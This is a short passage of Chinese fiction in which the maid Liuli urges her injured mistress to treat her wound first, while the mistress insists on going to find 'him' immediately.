“什么?”琉璃心念一转,疑道:“您是又在那头安排了什么吗?姑娘,先放下这些,您的伤等不得,我们先去上药。” “不,你随我…… 琉璃,我现在便要去找他!”